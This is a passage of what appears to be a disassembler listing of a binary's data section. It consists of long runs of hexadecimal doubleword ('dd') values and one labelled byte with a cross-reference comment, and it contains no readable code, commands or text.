29011DE2h, 8732BD9Dh dd 0F36EAB4Bh, 0F5308702h, 0B86A9690h, 0CDDD8CA9h, 60174451h dd 2CEF2EBh, 593FBB45h, 95415E15h, 0B9F9855Dh, 0B3210761h dd 9D48E8DEh, 832B0097h, 8C11E455h, 4F04CF93h, 2DB8B21Dh dd 0D8807AACh, 86BCA463h, 0E2A09200h, 0B7D1BEBh, 17FD0405h dd 0E85FA3EEh, 0DBDB4A7Fh, 0FC7F2182h, 0DC6A5Ch, 0CC493E19h dd 0B764E5D2h, 0BD27139Eh, 1D3B25FFh, 44C07AC2h, 5E8222C5h dd 9B148D9h, 0B4D32981h, 501753E9h, 0A00EDB22h, 0B24BD4D5h dd 0B29B904h, 13A063E7h, 9F023F2Bh, 659D23ECh, 880D0225h dd 21A965A2h, 5E43EA09h, 7902F458h, 2F0CB8BBh, 0E5734164h dd 0DA4B9868h, 0C017C885h, 0DD39B753h, 0BC097498h, 0D1D98A80h dd 0BD0B588Eh, 0F69D23F2h, 4600DE01h, 0D3F0A2D4h, 4EF553CBh dd 2F6C8A5Fh, 0F6C77696h, 0E521F900h, 98A5031h, 0D80D4585h dd 0E09A59BDh, 8204B85Dh, 74C78FC3h, 1D46D69Ah, 38B96900h dd 8CCE9B28h, 107EA604h, 0F6EAE1FFh, 4680B0D2h, 0BBEA0177h dd 5C55A432h, 14202B60h, 4219BD1h, 1FB65F77h, 0A1CEE861h dd 0E39D0456h, 0A2BE53BBh, 92608FCCh, 0C077DBBAh, 0F18D0928h dd 0FC418210h, 0BFB71102h, 0F3EA283Ah, 9A3061D2h, 0F2E2D1h dd 56FDEABFh, 0A836A5ECh, 1B69EB12h, 0FFB1C80h, 5F7C8689h dd 27DC3F96h, 0EEC6391Bh, 12F367B0h, 0CB527523h, 56DF8297h dd 404FD460h, 0BC3BA195h, 6DFECF00h, 0B116C14Ah, 40BA3266h dd 6FD45B96h, 90737A40h dd 0C0876284h, 0DE745FD9h, 311FB542h, 0DAE41762h, 93DF49B8h dd 0FF64258Ch, 9D7F88h, 7F7D67E9h, 2657CDD6h, 95005178h dd 9E64818h, 0D260BCA3h, 259CF38Eh, 0FE61C190h, 23EDFDD6h dd 0D965D5C2h, 8CCB00B9h, 96C9D9ADh, 70903F07h, 0C682A02Fh dd 58DB576Ah, 0FD3E0173h, 4658729Ah, 0A7BFFC1Fh, 29B00713h dd 66C1A0A2h, 3A07B3BFh, 16317D5Dh, 0EF49E952h, 9677B83Fh dd 1030C685h, 3D8CFABBh, 9B5A36ACh, 188B8B16h, 0ACA1E9h dd 8310D1F7h, 917B3C28h, 0CD4E8B07h, 731E1FBFh, 9A4EA9A7h dd 69E4803Bh, 1393F72Eh, 197B388h, 0A318DF5Ah, 86A2752h dd 130C5D9Dh, 60B6A35Fh, 3D67CB32h, 1C726E9h, 0B405F6AFh dd 83480B5Ah, 0BD4938F0h, 0A997A4F8h, 4134CF50h, 3A961EA1h dd 0DEEF3D12h, 70C28779h, 0AD47D4D0h, 272CB872h, 406295BDh dd 8061615Eh, 743A65D7h, 0A0FDB639h, 24296467h, 44C0BB6h dd 0C089D860h, 0D919D2Ah, 9FFA8B88h, 1491A635h, 0E8F98384h dd 0BD987352h, 303B3441h, 0EACC21Bh, 0AAF61100h, 1B28B887h dd 0C0100098h, 250CB52Ch, 340BA1E4h, 0C15FF88Bh, 80315184h dd 5B27183Dh, 5B907146h, 6846A79Fh, 6EE2F600h, 7FBF0156h dd 5F7DB883h, 0FF468781h, 0FDEBFDF5h, 69D12990h, 3EDDB100h dd 12DE8E25h, 0FB620439h, 0C0712B7Dh, 8116D273h, 0DDCBC702h dd 745F5B83h, 0B7FD4B29h, 192882B9h, 6F7C502Bh, 4EC986Fh dd 8B601324h, 0C31430C6h, 0D9096AF0h, 37618988h, 9F1711D5h dd 0F3B9B205h, 11E95E91h, 0B593110h, 0D0B4411Fh, 0F2E1D380h dd 42EE53Ch, 9FCFE33Bh, 95A78161h, 0F1B80412h, 0CEF59BB5h dd 565A3A9Eh, 852B51EEh, 29B58929h, 3B25F0BDh, 1F03D5Fh dd 0B70F6BF4h, 0E53B2FDAh, 83A3BEA4h, 56BF20F7h, 214EDC4Eh dd 0CA193F09h, 5CADC2B3h, 10E371B9h, 43119D29h, 27D0CD09h dd 0F7B8843Dh, 133A7109h, 2FDBF00Fh, 0D79AF6F3h, 1DCF954h dd 0C564032Bh, 0DA14408Ah, 55E9BA5Eh, 5CE14AC7h, 82E539Eh dd 0A22C2E58h, 58001111h, 7FE36B50h, 9400E03Ch, 954653Dh dd 122BFF11h, 0F35F02EBh, 6BAF4ACFh, 0C07E005Ch, 1DCD14CAh dd 29BE09B8h, 0BC7973B3h, 0E1B7A7h, 4E2E8EB5h, 8D0128BAh dd 5723BB50h, 0B8353197h, 0EDB80729h, 8D37DE14h, 6CB6D2E7h dd 29BC7FF0h, 12ED9510h, 2AE98D4Bh, 5BAC62E9h, 0F64BD1Dh dd 0EEF723C1h, 116A5643h, 0EAD2D463h, 0A13C1EC9h, 0C54C5C80h dd 8745EE2h, 52CBD604h, 17E8E1ECh, 829BDBD6h, 74A2C24Dh dd 95C26E2Fh, 0D0731285h, 5BF85684h, 8C59D3BCh, 0A11D64BCh dd 215270B4h, 1B60C7F0h, 27810F51h, 86865A82h, 614B7311h dd 2C0FD1CCh, 639EFEBFh, 9AB8273Dh, 1006D7Fh, 621E559Dh dd 526D4BAh, 6ECBE2C0h, 59A80B19h, 9865828h, 0CF55B886h dd 0BA804F11h, 0CE62566h, 47E96028h, 0E745DD00h, 0BE58FA36h dd 804C0F49h, 4A62EE21h, 0BE613DA9h, 88C3E870h, 717A8B9Fh dd 7396002Bh, 0BE57558Ch, 0CF79CE1Dh, 46DC49A6h, 37B61715h dd 0B860ABCCh, 2A513489h, 0EA7F800Fh, 7E9F7E29h, 0AF336EABh dd 23C6888h, 0C4800985h, 49464F8Eh, 0BB2F9101h, 3C2C1963h dd 0B7C257Bh, 52ED3402h, 111D3CE0h, 8075562Bh, 0E3CE124Ah dd 0F52925B0h, 2FD9F311h, 0E15C9828h, 9AB01267h, 7222D1C9h dd 0E6E1D9Dh, 0E4BB8650h, 82BEE2F0h, 57F04DEh, 82CDC5F9h dd 88C0D968h, 0D7C52809h, 0B3F135B5h, 23206B2Eh, 0E9BB001Dh dd 0F7F61485h, 381EEB13h, 25DB8DB0h, 7BED9C30h, 0E601664h dd 0F54FC07Dh, 0D5A0A28Ah, 8F164953h, 7130B18Ch, 6AC1Ah dd 833F7FDCh, 6269B089h, 13018B1Eh, 5F66FAC4h, 0DBD78EBCh dd 2063804Ch, 9F6ED3Bh, 0BA1F745Eh, 6246B079h, 0D4B79533h dd 22BDEA0Eh, 0D882D4E6h, 11B40E3h, 69D251F8h, 6A5BB2E7h dd 0EFC601CAh, 0BF666CECh, 2C891CD0h, 0BF593D9Dh, 0FAC7495Eh dd 18DA957Bh, 0F0386Ch, 8F93E49h, 5007CB80h, 0A9BD8909h dd 7CE85D10h, 2FE3FFF2h, 8CAC26B9h, 40AC5697h, 2A7D8589h dd 48A6F49Dh, 7C9DD6F8h, 5ECE82CBh, 9FFE4C9Ch, 7912D509h dd 3D42ADCAh, 87794DC0h, 89544F08h, 15467604h, 3A80651Ah dd 0ABDF9405h, 26786EA2h, 47217B3h, 0BC725CBBh, 0BD6E5BB8h dd 620DBD04h, 95C2C147h, 258578CDh, 50AD4190h, 249D23D4h dd 4F3415F5h, 0BD030678h, 3912ED5Fh, 0FD5FB0E3h, 0EB740118h dd 0D19DE545h, 2BEC530h, 53CD9A26h, 0A05E2061h, 0EA31626Dh dd 0AD221A69h, 75D1FF25h, 688004B5h, 3B60D229h, 90AC782Dh dd 1E0920A2h, 0FA5FFAF7h, 0CA614B2Eh, 5BBA2592h, 2E33D979h dd 0D5738201h, 2568026Ah, 0DF6586D2h, 0EA509027h, 40767E70h dd 0CD07A97h, 91A97604h, 0B4AF310Fh, 3B3048E6h, 0F0898475h dd 89A09F70h, 5F616056h, 0B79010C9h, 0B8CC87FDh, 783C1037h dd 932C5CACh, 1F90349Fh, 31B58904h, 11535619h, 0C0239BFEh dd 0BD33015h, 81844B03h, 207925h, 970E23E9h, 0D520BA96h dd 860F2FB3h, 0AE602124h, 824E71B2h, 6461619Ch, 0CDADA569h dd 601864BDh, 4E8CB14h, 8B901F1Eh, 818A85D8h, 401AD8Bh dd 6F938DB9h, 0C5AA098Ch, 9CA57AB0h, 920DF64Ch, 0AA09A7EDh dd 0AAC1522Eh, 36C19ADBh, 3DFF6A1Ah, 123EB8DBh, 0E2BB20E3h dd 81833C84h, 0BF554417h, 96FC2857h, 0DA683AD0h, 65120A5Ch dd 0E8A9BD1Bh, 7FF202A2h, 0B9FF475h, 15C4E05Eh, 5FD0B049h dd 90970DF0h, 5EE4FEDAh, 34E9C871h, 4D45C300h, 0A0D01E93h dd 542600B0h, 87672370h, 5F4BF9EFh, 54E8D6D2h, 49C74179h dd 0BE182F1Fh, 4B04DF10h, 30B5C9A2h, 45B0FF11h, 1DAB0F97h dd 0F94937A4h, 0BF20003Ch, 1EE68748h, 0D7450D02h, 4049183Ch dd 812C1194h, 0C7472F5Fh, 14BC19BDh, 0C1852429h, 0D1C3A54Bh dd 70BE1F1h, 2040D166h, 810121C9h, 0DA6A26E7h, 0CC2BE969h dd 0E6279CDh, 0D8998533h, 0B10297F0h, 5B578A0Fh, 0B72F8092h dd 945B8DF5h, 0E277CE00h, 79CACFE8h, 2EB20D03h, 3B40AC0Ah dd 0C94517ECh, 11CC482Eh, 899ACB1h, 0B33EE901h, 4AA13217h dd 0F326AFB3h, 0DC614B18h, 98823BCh, 0C7456FBDh, 141BA5EAh dd 991981FEh, 4795452Fh, 80FAC070h, 0B097F4EBh, 5A2722AEh dd 0E26EEA17h, 56095E13h, 0BE18454Ah, 0DEB6C12Ch, 0E052A646h dd 7B809809h, 181459AFh, 0B966C7C1h, 0EFF31908h, 1209F7D0h dd 0FEF5D102h, 892E6C89h, 57E4FF1Bh, 0D2E075B6h, 0C2A1A595h dd 2D287549h, 6EBE4FACh, 0F6570006h, 64C426A0h, 9B7516B4h dd 7489AF45h, 4C060C91h, 296D1061h, 5FD1044Ah, 9197BC0Ch dd 0F0B6BCF2h, 0CD953F09h, 0A0B4CE4Bh, 0E4692195h, 5E5727F5h dd 64014C37h, 0E1F487F6h, 1A3D8141h, 30FB8B01h, 56716050h dd 95706697h, 0AC026737h, 2C14E8E9h, 0E500D7D6h, 19B88E57h dd 5671DBh, 82984D08h, 0CB6229D8h, 7894EE5Ch, 545C3F04h dd 38B1505Fh, 2F22D1D6h, 48855837h, 9ECC0F46h, 0F7FB1E0Ch dd 0C87DC456h, 0D2F6BDE4h, 4FA8F2B9h, 298D0913h, 20CACFE5h dd 0D1122646h, 0BBF06507h, 4D423CAEh, 92975D5Fh, 409ECDADh dd 0A8AA4129h, 0CDA16F02h, 66AD80E8h, 525C07D0h, 0B7AC3727h dd 456F3079h, 64021871h, 0A35E1FB8h, 40CA5CEBh, 2C08FF38h dd 0E20D3D01h, 0BC2AA296h, 2426283Ah, 5DF52989h, 1201B634h dd 74163995h, 0C0B2BFEDh, 0FF06CC4Bh, 8452E125h, 0B4BC5F34h dd 4103A0A1h, 2C8520h dd 4B21B531h, 8588B323h, 4A0803A2h, 0F2F59249h, 85588899h dd 0A0058501h, 20B56001h, 0EC80CBAAh, 0D6614CE8h, 679C541Dh dd 0F3041044h, 3A5FCCA4h, 9B5B69BCh, 8CEA926Fh, 0B2D73DB0h dd 97F97788h, 0B3376E89h, 0A6B17084h, 984E3FBh, 7915299Dh dd 1DDF9A92h, 12DC2A56h, 0B7B537F6h, 6C6A5FBDh, 0F96E9909h dd 569FAC7Ah, 5A00DE53h, 5090C503h, 587BB52h, 0F6D23C9h dd 5A1CE831h, 807103BFh, 644EFDF3h, 0B9143BA1h, 685DFDC1h dd 0A75EB1CBh, 0F75835A5h, 0C0FDA209h, 0AD625B58h, 23F65B5h dd 109415D2h, 0F44C664Ch, 55140292h, 2329AB0Fh, 2FD88161h dd 28C43229h, 0EBBB45E9h, 2FBAD4A9h, 9D890F30h, 25CB9641h dd 0BB04F766h, 2B2EA1BFh, 68D9D3B8h, 0D3302ED9h, 1D9DB1BFh dd 16092114h, 89954FDDh, 0B79AFBB2h, 38022ACBh, 162A23E9h dd 0BBB777A5h, 70C63289h, 805750D3h, 5B3304A5h, 0AAFCB750h dd 4ABD024h, 122C65D6h, 19AC2BBDh, 798D028Ch, 699FE2CCh dd 57529A74h, 0DB09992Dh, 1F1C4348h, 9CA82AC6h, 8E403FBCh dd 38E47611h, 9080AD38h, 5684B1BEh, 6A0098A5h, 8F88AF31h dd 0E55B5F50h, 884E0D72h, 0F2001512h, 0FC57B3C8h, 43AF5D2h dd 89DCD85Fh, 0B8AAA958h, 12AB0242h, 0BE148DA4h, 8049AC5Ch dd 1AD1A148h, 0E6F000EFh, 6A7D421h, 0F9FC5AD5h, 9D238412h dd 0AF4584FFh, 1B23586Bh, 8DBBDB16h, 558041E9h, 80466822h dd 0BE6050DEh, 8E4E0F21h, 0B6926107h, 0FB33E050h, 7C6400CCh dd 0C7BE2E7Eh, 2688E0Fh, 0F62BE425h, 79202728h, 0A3614B1Bh dd 0BD318112h, 392E1899h, 3D536B3Dh, 32EFAFA0h, 601333E9h dd 1E1044DEh, 61D9E661h, 80C82C56h, 799B899Ch, 5B622552h dd 1A5CFEC7h, 0D5998531h, 0E6F1B341h, 1670DD5Ch, 504F9505h dd 0A5E07340h, 0B55705A2h, 81B031C5h, 4F118D74h, 4DF12C4h dd 0C0829BBFh, 0BEFDC2F6h, 5C110014h, 0ADC781C6h, 2E4B4A8Bh dd 6BA11E8Ah, 0A639Eh, 8FC55391h, 4BE006C8h, 4C0CCDFEh dd 34006ED2h, 9976BCF4h, 0F6F68EBh, 2E8C36E1h, 42BB7042h dd 46D6E65Ch, 940E001Dh, 60C7E3B3h, 0FA7F2E6h, 3153BF3Dh dd 0EA734F49h, 26181859h, 4B762E09h, 3097EEDh, 5F70F2BFh dd 9F75ACB4h, 0B1844E0Ah, 0CBBF1900h, 0B5966875h, 68015737h dd 0F1BD0395h, 447DE925h, 0FD290DADh, 83FC6AA2h, 6AFBB592h dd 8A00777Ah, 2820BA96h, 0A40F5253h, 42BBADCDh, 5D500398h dd 28250238h, 8D090785h, 0D3723815h, 0AEEA504Eh, 0DA8AA10Bh dd 914457h, 0FAD22B88h, 67FB1CBCh, 82312F3Bh, 2C75A799h dd 4B49F018h, 0FCE5325Bh, 162E055Eh, 68DD03DCh, 18ED9D01h dd 2050DB12h, 4A00E76Fh, 5CCD6D93h, 0BC5C68A2h, 6ADC1828h dd 9763D508h, 0F7CD229Ah, 0A9E7FEE0h, 2C3A2790h, 294490DFh dd 1351258Dh, 6D6B1AD1h, 0DC63404Eh, 0DB0465AAh, 25D19D33h dd 0B096F7EFh, 0A08AFCEFh, 9A8F8183h, 0CAEF976Ch, 0A8323B60h dd 0FB860087h, 62790B91h, 0DB17B70Fh, 24CC3FB3h, 0ED8D2789h dd 57504E80h, 0A009BF60h, 0E35A5C2h, 13F53226h, 82599B3Bh dd 0D012FE3Ah, 21214163h, 2EAEE937h, 19239B6Bh, 9B1FD00h dd 0BE5CE074h, 0BE0A0EFEh, 0A9FFCF80h, 0D5903BD9h, 791E3125h dd 61356BFAh, 0F8F9CE80h, 109E35h, 810B8096h, 86C684D7h dd 6CCA574Bh, 0E4974A22h, 5DFC97EFh, 365EE8E0h, 7D90093h dd 2BADB633h, 0B50A5441h, 0BE631EA4h, 0DED5A6h, 49A9DE07h dd 60021E75h, 27BB4B02h, 0AB50459Dh, 0D87053BFh, 604B3D71h dd 0F6814ECCh, 85F41614h, 0C4CE2A03h, 1ABC7895h, 618589C2h dd 94959A58h, 9F7C70FCh, 0E0441C6Fh, 4AD9E3BBh, 0B6FAF1C4h dd 0EEE9F0BAh, 0F61927BDh, 0E41BF70h, 0D831D2DBh, 9DC67058h dd 0FDCA15Ch, 0B86A19F9h, 99F2E7E0h, 9E974EDFh, 706E9316h dd 0A1267694h, 0D5080ED6h, 0B4E9091Ch, 11B11078h, 3FCECC83h dd 710DE018h, 0F64A0250h, 0FE8AC18Bh, 3D49D05Ch, 0D46A0062h dd 0C0FD84D6h, 4D6D1309h, 2D6E5E2Bh, 92339F7Fh, 0BEE47017h dd 3ED6E9E7h, 0E7033F6Fh, 5BD2394h, 19C5B4F4h, 9BBC45Ah dd 0E78D82Dh, 30476195h, 75BD0B00h, 5000E6B4h, 3EAA4BBh dd 5CFD23Fh, 272FFD91h, 0AF9DB498h, 3725ED5Eh, 0D83480D6h dd 2B7F681Bh, 66FC6B12h, 9AD3CABDh, 4A9F8408h, 0A9C374AFh dd 120A898h, 53C2F1CDh, 526D9D2Bh, 0C2595B92h, 5626B00h dd 2587E1EEh, 79CDD1FFh, 1747AEC0h, 2E0FAD8h, 22E8BF2Ch dd 17C06B58h, 99256CB9h, 1A45E52Ah, 0C17345C3h, 4D6A6170h dd 58BC1D02h, 0BBD29209h, 0E50902E4h, 0B3900329h, 907750D2h dd 1DFCDAh, 0DF284C51h, 7AAC6E74h, 67E5E712h, 0FD0068B2h dd 3A03C121h, 6104685Dh, 0BE9BF8AFh, 5BCE22FCh, 0D2ED9029h dd 0AEC827C1h, 72BD11D4h, 0B35252Bh, 0DBA554E5h, 0F0FC50A8h dd 2AF0AD4Eh, 2E912DFh, 0C94EF20Ch, 0BFBA1023h, 317C0E0Ch dd 0F772199Dh, 3AA64141h, 2024B152h, 0AD9020B9h, 0A94B7C0h dd 1700184Ah, 497BC23h, 4BB18B32h, 1A15D95Fh, 1432C16Eh dd 352F64B5h, 0DCC8B113h, 0F4F96A5Bh, 0A89C39B5h, 6790D525h dd 0C709F381h, 736931EDh, 400711B3h, 0B05BDE98h, 0C4D85500h dd 8170E6h, 0B3999BD3h, 8971E44Bh, 177D9512h, 0E6C97DBCh dd 702597E4h, 60A6C2C0h, 9D152101h, 74690BD4h, 8AD68FEh dd 5A3B0E75h, 0EC00FCE3h, 445B9DD7h, 0F7021A49h, 3CF1BF5Fh dd 32C25C12h db 0F2h, 0F8h, 7Dh byte_544547 db 59h ; DATA XREF: ___:off_445258o dd 0FB033E13h, 0DA8AC82Bh, 0FFF1D1F2h, 0E3629101h, 0B5EBCD24h dd 0AC095516h, 6471DE03h, 82E6E585h, 68B25050h, 24A35C16h dd 6CB111A9h, 4541BD12h, 128DD815h, 0E4921B97h, 736C0056h dd 0E95F3D01h, 9817516Eh, 810DD934h, 0FF8DDC5Bh, 25C403D0h dd 4B91C4F9h, 0EB60AE37h, 1369B3h, 58361564h, 750DCE4Ah dd 0DCE5FA02h, 82A58304h, 88F8FE26h, 902F6DD9h, 93041Ah dd 41A2F767h, 559E36Dh, 0A598D34Bh, 4E404279h, 581F446Ah dd 0FC4DC563h, 168AC160h, 0DD4F65EDh, 6B7E6535h, 67A96EF9h dd 893E06BFh, 794521B5h, 5693A8B9h, 8BD72580h, 1BF92279h dd 5C009018h, 5370A497h, 368BFBBAh, 0D86D3D9Dh, 246DDC81h dd 0D1028121h, 2F08D036h, 44A65461h, 5C20AA51h, 4CECED29h dd 0D405296Ah, 7917793h, 0E14055F8h, 20821B3Ah, 140B536h dd 2B5F165Bh, 82A9ADD2h, 5C1D319Dh, 0AC6DFA5Dh, 0AFC06D67h dd 12B7BF18h, 0E236FB2Dh, 0E6BB0231h, 797DB4CAh, 9D238E0Fh dd 293E88D5h, 4A12BF4Eh, 1DB2D5A6h, 1DE7CF30h, 82C1E1A0h dd 0EF91D740h, 0B35EC756h, 0EBFF58CAh, 9BD8913h, 61E68B53h dd 273911E0h, 684CD0F9h, 1617B648h, 59E80589h, 0FE1862E2h dd 4B1244E8h, 61030279h, 0A0F77568h, 760EB8D1h, 56993C6Bh dd 13F9C638h, 0ADB85FDFh, 98B7F882h, 0CA0D4A0Eh, 9D3317F4h dd 0FAA50112h, 7BD2B93Ah, 0B789D001h, 2997871Fh, 2C2EF5C9h dd 668AD305h, 660B008Eh, 6C3CAB94h, 0A3047859h, 20908F9Dh dd 5C5B79D2h, 14CB510Fh, 0E3B88EBDh, 0AB9F5409h, 67297199h dd 0B3F64967h, 3B1E00F4h, 5BF4D1F3h, 330960DDh, 5C3489BDh dd 25FF489Ch, 0E56BFEAh, 2525DD28h, 20EA660Dh, 0B7010109h dd 0DB79BB45h, 0DC6A3739h, 6025D7CAh, 0BEBA6688h, 46FADC1Eh dd 1493A300h, 0CBBB9E54h, 1CA10917h, 67F76650h, 0E18E788h dd 1F18610h, 47FE5CBCh, 802446Bh, 0C254737Dh, 450DE70h dd 4109C3BFh, 6037AE76h, 7482D0B4h, 13DB4432h, 0C8515250h dd 2E1C097Dh, 57415FD7h, 0B5C27EC8h, 95D7AC8h, 5B400628h dd 0D6B8755Ch, 6B55F0F0h, 351C00F6h, 6660C4AAh, 841276BAh dd 795B50Bh, 0B39293FDh, 49A04E00h, 1B98835h, 0CF100B89h dd 0BE0FC6C8h, 82408E2Fh, 42CB113Dh, 84507519h, 148D5B4Bh dd 362BCE65h, 61256211h, 0A5E55B0Bh, 0D900F637h, 366322CEh dd 0B892074Eh, 3F8D090Dh, 0D845BD56h, 0D90C69A4h, 26D810F3h dd 0F7854A57h, 3E6EABh, 0A4B75839h, 50402F90h, 9F60FB96h dd 10BD26C6h, 0C8414Ch, 0AB815138h, 45839B0Bh, 61FA0D18h dd 0C44AB72Ch, 0B6965030h, 5E8DE1FEh, 2571BAF4h, 8DD8A2E7h dd 0C272F625h, 0F8BD774Fh, 687780BEh, 158D893Bh, 1EC08314h dd 0DE6379DCh, 4BDA8BEEh, 6920F3C6h, 96F70CEh, 21A527E1h dd 96707EF3h, 44569A45h, 0FB25BF16h, 6408CDEFh, 0FEBB601Ch dd 0FACE00A1h, 6B5D8F80h, 3D05E7BFh, 820F4277h, 0AB1228AAh dd 0B57212FAh, 904EDE1Ah, 62FB5DF0h, 3246D580h, 78D48C5h dd 0D0720270h, 0DCA270F4h, 902550FBh, 22FF6EF5h, 0A0BC1071h dd 0DC9612DCh, 0D31CE2AFh, 0E300D2A2h, 68D3FF49h, 338C687h dd 0F2178011h, 0B58C5342h, 0CA404A6Ch, 412C3869h, 4005BD30h dd 3C4FE932h, 0EECF68DEh, 0C2DF8001h, 383A2EF5h, 0AB2385E4h dd 6E7E51A1h, 82A900D0h, 0E55012FFh, 0D1C712BFh, 0CC58E20Eh dd 528B59B8h, 0A9CFC7F8h, 58DBABF3h, 1D2B0C0h, 0E301EC94h dd 894CC4CEh, 0F16565B5h, 1CAC636Dh, 7166008Ch, 0F5D3BAFBh dd 0C44A31B1h, 17B237E6h, 2518C230h, 90FFFE1Fh, 0F2DF813Bh dd 7F0C2576h, 80125666h, 19E3AAF3h, 0D93E0B4Ch, 0CF874CDCh dd 8C96E473h, 8A00468Bh, 0DE59EA83h, 93154Bh, 0D982CBA6h dd 0AB90A0F0h, 1150482Dh, 40EA7F34h, 26B7513h, 11FE1D6h dd 0FE6A595Fh, 8842E74Ah, 965B8040h, 0FF05BFF0h, 1FD1BD89h dd 0FC3EB429h, 97F89279h, 0ACE1B7C4h, 0E0BFC0F3h, 95341410h dd 0C854CEB2h, 9502584Bh, 0F8FAC51Bh, 0BF817E59h, 64F93870h dd 0DE91152Bh, 4D0BB0BCh, 2C6D9D03h, 95DBE0B6h, 0AEFC9485h dd 3DA85D64h, 1E8E0F82h, 458BBA5Fh, 9509C149h, 12CC78F5h dd 809B6A5Bh, 248DBFD6h, 1881EC6Ch, 30820138h, 9912C6FDh dd 856EF1DBh, 4C071B23h, 0B2D06EBCh, 0B60A14F9h, 46FBEB13h dd 1320D50h, 5D52821Ah, 574D8501h, 3489E2FCh, 0E7DE00FEh dd 0BDCBE8C3h, 2543359Fh, 0F27EBFFAh, 0B294BF00h, 7967B5A9h dd 35A3BB04h, 49AC7C57h, 943B17D2h, 0A725A8B6h, 0C7BB80B8h dd 967B37EDh, 8FB06F92h, 8508459Eh, 595F1517h, 198C14A8h dd 59D9B302h, 51A3ADF5h, 745B49BFh, 4A415650h, 1CB2D9h dd 0FDF5A719h, 2D628587h, 9BFF964Fh, 98F9BAE8h, 3BD78168h dd 48A52EF2h, 0F94A0F66h, 58250ACAh, 2723DFFh, 0FCE0235Bh dd 91AAB5D5h, 0AF0B8019h, 5A84BCC2h, 5380473h, 61F5022Ah dd 0A016D6C6h, 0FCBDBF0Bh, 0C5801D91h, 932F3949h, 0D585E005h dd 0A101B027h, 13F44D92h, 0C500FA23h, 385D4AF1h, 0F64C688Ch dd 0B51C7F59h, 376DFFF4h, 8B3005ECh, 0B824BDC1h, 662B284Ch dd 0BCB0997h, 0EAFE819Dh, 0F71EA962h, 0AE04A3BDh, 0A0932EF5h dd 1ABFA090h, 7BDAFB9Ah, 0F8B70C2h, 760C39FBh, 5BF3885Eh dd 390A5809h, 0F446D3AAh, 0F8FAD60Bh, 1CDD0589h, 2D1E6FF4h dd 2CD17D2h, 0E44EE9EFh, 5CECEDh, 0F3695375h, 0E784709Fh dd 0CAF71F18h, 81295576h, 6C022B5Bh, 0C650BFB7h, 443D005Bh dd 8C4AE6BBh, 7D009062h, 98063022h, 2A650215h, 97B8D1E3h dd 275E5DE2h, 896A10DEh, 0FFB54FA9h, 0DE62F6E6h, 8FE2DC00h dd 6C3446AFh, 8A46CBB1h, 0A9238C5Ch, 0BF430C78h, 8350728Bh dd 6DB63A95h, 5CEE601Dh, 0EB150F95h, 4AA161D6h, 9852BE8Ch dd 89D1508Fh, 3EC7B521h, 0C15A6191h, 5A026A72h, 7826C047h dd 31C2CB66h, 0BDEAEEC0h, 74900205h, 3BF32C72h, 6ED98A16h dd 3743EFh, 57FEF9ECh, 0C7457C61h, 94E9DEFCh, 0B105AC0Dh dd 0FF04D228h, 2FD3BD20h, 0D6CC390Dh, 0A553F109h, 0DCD55Ch dd 1B8BEC9Ch, 0BD2B57DDh, 7A0FD14Bh, 219D625Fh, 59375616h dd 902BEE61h, 0DEC394h, 15B0850Dh, 0D6A5CC6Ah, 60396B13h dd 498AC8h, 2DFE8FCBh, 0D09C22F1h, 61A7E00h, 17BBBA66h dd 27A19161h, 8D025D37h, 61FB3433h, 0C1CBFAADh, 66101E0Dh dd 0BF4A91BBh, 0E83F8DD9h, 0DFB7C4B7h, 849D83ADh, 0EF0E35BDh dd 0A9972BF2h, 0C9A832h, 0B2D69A19h, 0AA9DF4E3h, 0C852B3A2h dd 2745EB98h, 91BC883Eh, 0FBE9F900h, 0BA3BEF2h, 0CAC80FB3h dd 283FEF6Ch, 0D670113h, 2B9E3E14h, 0E765EC18h, 620F1601h dd 0FF6A5FC1h, 92B87969h, 0E10199FEh, 89EDF2B8h, 0AD6BC185h dd 8DD52A50h, 24699380h, 64DE548Ah, 64604B36h, 5C1008Eh dd 658328Bh, 7F0A37F0h, 91800720h, 15784B0Ah, 289700B8h dd 3453160h, 0F56009Eh, 193EE9A2h, 613876F1h, 0E6FC0DB0h dd 456F8470h, 0FC71E40Ch, 0C60825A0h, 1EF4404h, 62B58D4Ah dd 0EC06172Bh, 0D7BFC0C7h, 5F1EFBF7h, 21F4CCBAh, 892A0F41h dd 591696B5h, 407A89BAh, 2B36EC33h, 8C00C85Eh, 0D18B1C3Eh dd 0F6E0E360h, 0FFCA0EADh, 0E9246124h, 0C07CADA6h, 85F28067h dd 66AF242Fh, 7230BD3h, 0A8A5D488h, 0B5C2A08Ch, 0B75BB105h dd 2EB1A222h, 7E49015Ch, 0FB526968h, 0CA4C1C45h, 86EC0089h dd 10B81F42h, 0C105F0A0h dd 58E9257Ch, 558BF5ECh, 66256754h, 27297604h, 0D8FA2FC5h dd 6C12B14Fh, 9C980DB2h, 0E183320Dh, 1989028Dh, 773DAB3h dd 2BD12A31h, 1958900h, 440058ACh, 8BAD1615h, 95E811Ah dd 261D9BEDh, 3C080D73h, 18467C50h, 0DC483E00h, 0C7816199h dd 0B1AE880Ah, 3193BB03h, 0C2F29EFBh, 40E185A4h, 976D0B14h dd 8CC8301Bh, 0A024222h, 70B910B7h, 29C5D20Fh, 17AE1ECDh dd 0A6FFCh, 6C4B8B3h, 4131A4h, 0FC233362h, 9295F381h, 2B14B20Bh dd 0C0354DC0h, 4A37556Ch, 85812305h, 16FC91BCh, 2459C2D8h dd 0D860E7C0h, 4E2B12F0h, 5CB2D2h, 0FD8AC03Eh, 3487B6h dd 6CA03CBFh, 0B226667Dh, 0E2471309h, 0E0287158h, 280AE781h dd 4DBF0572h, 0C687CFF9h, 0C9866032h, 7698B535h, 732C512Dh dd 788F231Ah, 0CF077F2Ch, 0E65F68FBh, 810FC41Eh, 8B7F3322h dd 57445605h, 4184EF16h, 13D971ACh, 5B617053h, 81531597h dd 521DFBFh, 0AD202B79h, 2B7F927h, 0EEA9FD0Fh, 0EC7CE07Dh dd 0B25A1410h, 3864CD0Eh, 0B8D5E96Fh, 3AE70779h, 9B55BC29h dd 0DF0259F8h, 0F5B50158h, 0E38D718h, 1A97FB8Bh, 26B28012h dd 97E1FF28h, 1601BB37h, 0D59D2335h, 0CA4AC828h, 4607E23h dd 19E3817Fh, 12149761h, 0C325A668h, 0F4B2F812h, 2A21608Dh dd 3D387B87h, 1F446E5Ah, 5E014AAEh, 0B42AEA3Ah, 611D141h dd 4A76F62Ah, 3AA206F6h, 20B1B0C0h, 5E171297h, 1600DC59h dd 9D75EE11h, 8170E121h, 0B6D86A85h, 0DE014F88h, 6029651h dd 5520A18Dh, 0B5951216h, 6E77004Ah, 16F6950Dh, 7284084Bh dd 0A083E7EBh, 2A4C69Eh, 0BB3BFF1h, 0F2774EFCh, 0C9D4006Ch dd 